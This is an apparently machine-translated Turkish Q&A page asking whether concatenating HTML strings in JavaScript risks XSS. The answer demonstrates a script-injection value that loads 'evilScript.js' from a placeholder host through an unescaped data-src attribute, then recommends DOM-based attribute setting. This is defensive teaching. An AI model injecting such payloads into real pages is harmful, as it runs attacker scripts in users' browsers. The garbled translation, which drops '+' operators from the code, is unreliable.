SORU
18 Kasım 2014, Salı


Gerçekten Javascript, HTML dizeleri oluşturmak için güvensiz mi?

Sitemizde barındıran şirket son zamanlarda bize bu anlattıklarını dağıtma - önce kodu yorumları:

HTML dizeleri asla bize açılır gibi doğrudan manipüle edilmelidir potansiyel XSS delik. Bunun yerine, her zaman oluşturmak için DOM apı kullanır birleşeni...bir WordPress kullanmak veya doğrudan DOM API olabilir.

Örneğin, yerine

this.html.push( '<a class="quiz-au" data-src="'   this.au   '"><span class="quiz-au-icon"></span>Click to play</a>' ); 

Bize söyledikleri

var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );

Bu gerçekten doğru mu? Kimse bize ilki gibi HTML bir dize yararlanabilir XSS saldırı bir örnek verebilir misiniz?

CEVAP
18 Kasım 2014, Salı


Eğer this.au bir şekilde değiştirilmiş ise, bu gibi şeyler içerebilir:

"><script src="http://example.com/evilScript.js"></script><span class="

Bu kadar karmaşa HTML ve komut dosyası enjekte edeceğiz:

<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>

Eğer DOM manipülasyon src özniteliği ayarlamak için kullanırsanız, komut (veya kullanmak ne olursa olsun) düzgün DOM API ile kaçmış olacak gibi idam olmayacak.


Yanıt bazı yorumcular kim söylüyor biri olabilir değiştir this.au, şüphesiz onlar çalıştırmak senaryo üzerinde kendi: bilmiyorum this.au gelen, ne de, özellikle ilgili. Veritabanından bir değer olabilir, ve DB sızmış olabilir. Ayrıca kötü niyetli bir kullanıcı şeyler için uğraşmaya olabilirdiğerkullanıcılar. "def" > "abc" yazılı şeyleri yok edeceğini fark etmemişti masum olmayan teknik okul bile olabilir.


Bir şey daha var. Kodu var quizAuLink = $( 'a' ); <a> yeni bir unsuru oluşturmaz verilmiştir. Sadece mevcut olanları seçin. var quizAuLink = $( '<a>' ); yeni bir tane oluşturmak için kullanmanız gerekir.

Bunu Paylaş:
  • Google+
  • E-Posta
Etiketler:

YORUMLAR

SPONSOR VİDEO

Rastgele Yazarlar

  • B3ASTTY™

    B3ASTTY™

    27 Mayıs 2013
  • Canceriansoul

    Canceriansou

    15 Ocak 2011
  • Klemens Torggler

    Klemens Torg

    11 Mart 2008